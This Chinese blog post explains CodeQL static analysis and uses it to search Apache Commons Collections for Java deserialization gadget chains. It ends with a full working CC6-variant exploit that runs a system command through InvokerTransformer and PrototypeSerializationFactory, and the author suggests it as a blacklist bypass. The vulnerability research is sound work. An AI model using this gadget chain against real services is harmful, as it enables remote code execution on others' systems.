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细谈使用CodeQL进行反序列化链的挖掘过程

来源：博客园

此文章在SecIN安全技术社区首发

前言

学习了一下CodeQL的各种使用方式，决定使用CodeQL细谈一下CC链挖掘，通过一步一步的朝着我们既定的目标进行靠近，最终成功的找到了一条鸡肋的二次反序列化的入口

前奏

CodeQL本身包含两部分解析引擎+SDK。

解析引擎用来解析我们编写的规则，虽然不开源，但是我们可以直接在官网下载二进制文件直接使用。


(资料图片)

SDK完全开源，里面包含大部分现成的漏洞规则，我们也可以利用其编写自定义规则

安装

下载CodeQL执行程序

将SDK下载到同目录

cd ～/CodeQL&git clone https://github.com/Semmle/ql

之后将执行程序添加进入环境变量

然后再VScode中安装CodeQL插件，之后配置扩展，如果添加了环境变量就直接为空，没有添加就输入对应可执行文件的路径

简单使用

基本语法

类型
  1. 字符类型

String

存在类似于CharAt(0)的内置函数

  1. 整型与浮点型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  2. 日期型https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  3. 布尔型

https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string

从未被使用的参数
import javafrom Parameter pwhere not exists( p.getAnAccess() )select p
聚合使用
from Person twhere t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)select tselect max(Person p | | p order by p.getAge())min(Person p | p.getLocation() = "east" | p order by p.getHeight())count(Person p | p.getLocation() = "south" | p)avg(Person p | | p.getHeight())sum(Person p | p.getHairColor() = "brown" | p.getAge())

生成Database

Creating CodeQL databases — CodeQL (github.com)

codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/# 如何mvn编译报错使用 mvn compile -fn忽略错误
闭源构建数据库

闭源项目创建数据库，可以使用该工具：https://github.com/ice-doom/codeql_compile

  • https://github.com/waderwu/extractor-java同样可以在windows中使用，将run.py中的codeql_home手工修改，而不是使用which命令得到路径
构建JDK

(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客

导入Database

和SQL语言一样，我们执行QL查询，肯定是要先指定一个数据库才可以。

选中插件，之后配置生成的数据库

类库

名称解释
Method方法类，Method method表示获取当前项目中所有的方法
MethodAccess方法调用类，MethodAccess call表示获取当前项目当中的所有方法调用
Parameter参数类，Parameter表示获取当前项目当中所有的参数

简单使用

Method内置方法
method.getName() 获取的是当前方法的名称method.getDeclaringType() 获取的是当前方法所属class的名称。method.hasName() 判断是否有该方法    import javafrom Method methodwhere method.hasName("getStudent")select method.getName(), method.getDeclaringType()
谓词
predicate 表示当前方法没有返回值。exists子查询，是CodeQL谓词语法里非常常见的语法结构，它根据内部的子查询返回true or false，来决定筛选出哪些数据。    import javapredicate isStudent(Method method) {exists(|method.hasName("getStudent"))}from Method methodwhere isStudent(method)select method.getName(), method.getDeclaringType()//没有结果的谓词predicate isSmall(int i) {  i in [1 .. 9]}//带有返回结果的谓词int getSuccessor(int i) {  result = i + 1 and  i in [1 .. 9]} //如果i是小于10的正整数，那么谓词的返回结果就是i后面的那个整数

设置Source Sink

什么是source和sink在代码自动化安全审计的理论当中，有一个最核心的三元组概念，就是(source，sink和sanitizer)。source是指漏洞污染链条的输入点。比如获取http请求的参数部分，就是非常明显的Source。sink是指漏洞污染链条的执行点，比如SQL注入漏洞，最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql，或者其它)。sanitizer又叫净化函数，是指在整个的漏洞链条当中，如果存在一个方法阻断了整个传递链，那么这个方法就叫sanitizer。
设置source
override predicate isSource(DataFlow::Node src) {}// 通用的source入口规则override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }
设置Sink
override predicate isSink(DataFlow::Node sink) {  }// 查找一个query()方法的调用点，并把它的第一个参数设置为sinkoverride predicate isSink(DataFlow::Node sink) {exists(Method method, MethodAccess call |  method.hasName("query")  and  call.getMethod() = method and  sink.asExpr() = call.getArgument(0))}

Flow数据流

连通工作就是CodeQL引擎本身来完成的。我们通过使用config.hasFlowPath(source, sink)方法来判断是否连通。

from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink，系统就会自动帮我们判断是否存在漏洞了

命令行持续化使用规则

在编写了相应规则之后，就可以直接在命令行行中执行规则，检测其他项目

首先生成Database

之后通过我们编写的规则进行分析，输出为CSV文件

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

实例

使用jdbcTemplate.query方法的SQL注入

import java import semmle.code.java.dataflow.FlowSourcesimport semmle.code.java.security.QueryInjectionimport DataFlow::PathGraphclass VulConfig extends TaintTracking::Configuration {    VulConfig() { this = "SqlinjectionConfig" }        override predicate isSource(DataFlow::Node source) {        source instanceof RemoteFlowSource    }        override predicate isSink(DataFlow::Node sink) {        exists(Method method, MethodAccess call |             method.hasName("query")            and call.getMethod() = method            and sink.asExpr() = call.getArgument(0))    }}from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sinkwhere vulconfig.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"
报错解决

如果存在Source位置是List param类型的传参，这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration提供的净化方法isSanitizer

override predicate isSanitizer(DataFlow::Node node) {    node.getType() instanceof PrimitiveType or    node.getType() instanceof BoxedType or    node.getType() instanceof NumberType or    exists(ParameterizedType pt | node.getType() = pt and    pt.getTypeArgument(0) instanceof NumberType)}

复杂使用

instanceof优化查询结构

我们可以使用exists(|)这种子查询的方式定义source和sink，但是如果source/sink特别复杂（比如我们为了规则通用，可能要适配springboot， Thrift RPC，Servlet等source），如果我们把这些都在一个子查询内完成，比如 condition 1 or conditon 2 or condition 3, 这样一直下去，我们可能后面都看不懂了，更别说可维护性了。

instanceof给我们提供了一种机制，我们只需要定义一个abstract class

比如RemoteFlowSource抽象类的编写

/** A data flow source of remote user input. */abstract class RemoteFlowSource extends DataFlow::Node {  /** Gets a string that describes the type of this remote flow source. */  abstract string getSourceType();}

CodeQL和Java不太一样，只要我们的子类继承了这个RemoteFlowSource类，那么所有子类就会被调用，它所代表的source也会被加载

存在非常多继承这个抽象类的子类，所以他们的结果会被and串联在一起

递归查询

CodeQL里面的递归调用语法是：在谓词方法的后面跟*或者+，来表示调用0次以上和1次以上（和正则类似），0次会打印自己

在Java语言里，我们可以使用class嵌套class，多个内嵌class的时候，我们需要知道最外层的class是什么怎么办？

非递归，知道嵌套的层数：

import javafrom Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype获取作用域

使用递归语法

from Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType+()   // 获取作用域

代码分析平台CodeQL学习手记（七） - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

强制类型转换

import javafrom Parameter paramselect param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果

正文

这里主要是探讨由transform调用层面的挖掘

transform

我们通过codeql寻找transform方法的调用

class TransformCallable extends Callable {    TransformCallable() {        this.getName().matches("transform") and        this.getNumberOfParameters() = 1    }}

可以看出来结果挺多的，之后我们人工排查一下

TransformedCollection

在TransformedCollection#transform的调用中存在可以调用其他transformer的transform方法的逻辑

没啥用，都已经可以调用任意transform了，还需要这一步吗？

ChainedTransformer

在ChainedTransformer#transform方法中存在iTransformers中的所有的transform的调用，这里也就是yoserial项目中的利用链****

CloneTransformer

在CloneTransformer#transform方法中存在, PrototypeFactory类实例化之后调用了create方法

我们跟进一下

代码中表示如果需要transformer的类存在clone方法，就会返回一个new PrototypeCloneFactory对象，之后调用他的create方法，如果没有就会进入catch语句，返回一个new InstantiateFactory对象，但是这里因为在其类中的create方法中参数不可控不能够利用

ClosureTransformer

在ClosureTransformer#transform方法中，存在Closure#execute方法的调用

Closure#execute

我们来查找一下有没有可用的实现了org.apache.commons.collections.Closure接口的类的execute调用

class ClosureCallable extends Callable {    ClosureCallable() {        this.getName().matches("execute") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")    }}

我们一个一个来看下对应的execute方法

大概看了一下，发现不是this.iClosure.execute(input)调用就是this.iPredicate.evaluate(input)

只有一个TransformerClosure#execute方法中调用了transform，但是也不能形成利用链，最多算一个中转

ConstantTransformer

在ConstantTransformer#transform方法中，将会返回一个构造方法，同样在yoserial中有所利用

FactoryTransformer

在FactoryTransformer#transform方法中，调用了Factory接口的类的create方法查看一下满足条件的类把

Factory#create
class FactoryCallable extends Callable {    FactoryCallable() {        this.getName().matches("create") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")    }}

进入看一看

InstantiateFactory

这里有一个InstantiateFactory类，好生熟悉，这不就是之前那篇文章中的CC链的挖掘，在其create方法中存在构造函数的实例化

例如已知的InstantiateFactory, 我们尝试挖掘一下

类似其中会调用TemplateImpl#newTransformer方法

/** * @kind path-problem */import javaclass ConstructCallable extends Callable {    ConstructCallable() {        this instanceof Constructor    }}class MethodCallable extends Callable {    MethodCallable() {        this.getName().matches("newTransformer") and        this.getDeclaringType().getName().matches("TemplatesImpl")    }}query predicate edges(Callable a, Callable b) {    a.polyCalls(b)}from MethodCallable endcall, ConstructCallable entrypointwhere edges+(entrypoint, endcall)select endcall, entrypoint, endcall, "find Contructor in jdk"

很合理我们得到了这个构造方法

虽然这里的iConstructor属性被transient修饰，但是在findConstructor中存在赋值

PrototypeSerializationFactory

之后有一个类为PrototypeSerializationFactory他是一个静态内部类

刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗，直接跟进一下子代码

在其构造函数中有对iPrototype属性的赋值操作我们可以尝试直接将CC6拼接上去

import org.apache.commons.collections.Factory;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6_plus_plus {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    } public static void main(String[] args) throws Exception{        //仿照ysoserial中的写法，防止在本地调试的时候触发命令        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),                new ConstantTransformer(1),        };        Transformer transformerChain = new ChainedTransformer(faketransformers);        Map innerMap = new HashMap();        Map outMap = LazyMap.decorate(innerMap, transformerChain);        //实例化        TiedMapEntry tme = new TiedMapEntry(outMap, "key");        Map expMap = new HashMap();        //将其作为key键传入        expMap.put(tme, "value");        //remove        outMap.remove("key"); //传入利用链        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(transformerChain, transformers);        Class c;        c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");        Constructor constructor = c.getDeclaredConstructor(Serializable.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(expMap);        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);        ConstantTransformer constantTransformer = new ConstantTransformer(1);        Map innerMap1 = new HashMap();        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");        Map expMap1 = new HashMap();        expMap1.put(tme1, "valuevalue");        setFieldValue(outerMap1,"factory",factoryTransformer);        outerMap1.remove("keykey");        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(expMap);        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        objectInputStream.readObject();    }}

能够成功执行，好吧，感觉挺鸡肋的，但是应该可以结合其他依赖，作为其他反序列入口来打，或者作为一个黑名单绕过

PrototypeCloneFactory

之后又是一个PrototypeCloneFactory#create方法中

似乎可以任意方法的调用，但是我们注意到

其被transient修饰，且不像InstantiateFactory中存在赋值操作，但是我们同样可以注意到其在调用findCloneMethod方法中的时候，取出了对应类的clone方法，如果clone方法有可以利用的是不是就可以形成利用链

我们查找一下clone方法存在的类

import javaclass CloneCallable extends Callable{    CloneCallable() {        this.getName().matches("clone")    }}from CloneCallable cselect c,c.getBody(), c.getDeclaringType()

在BeanMap中，对应的clone方法中存在newInstance的调用且其beanClass可控，但是是无参构造方法，无法形成利用链

其他的调用我简单看了一下，没有什么特别的地方

最后一个是ReflectionFactory的调用，同样是无参构造方法

InstantiateTransformer

而对于InstantiateTransformer#transform方法中可以进行InvokerTransformer的替代使用，可以触发一些类的构造方法

比如说TrAXFilter

InvokerTransformer

接下来就是ysoserial中存在的InvokerTransformer#transform方法中可以反射调用可控的方法

PredicateTransformer

而又在PredicateTransformer#transform方法中存在Predicate接口实现类的evaluate方法

Predicate#evaluate

浅看一下对应类

import javaclass PredicateCallable extends Callable {    PredicateCallable() {        this.getName().matches("evaluate") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")    }}from PredicateCallable c select c, c.getBody(), c.getDeclaringType()

都是一些没有亮点的东西

SwitchTransformer

之后SwitchTransformer#transform方法中，存在有类似ChainedTransformer#transform的功能

但是需要满足this.iPredicates[i].evaluate(input)为true,而且似乎这里只能调用一次transform，不能形成链子，也没有了意义

总结

链子没有挖出来什么比较新的链子，有一个比较鸡肋的二次反序列化的链子，但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘，当然还可以在动态代理等等方面进行深层次的探索，又或者以来其他依赖库结合进行挖掘利用的方式也是可行的

关键词：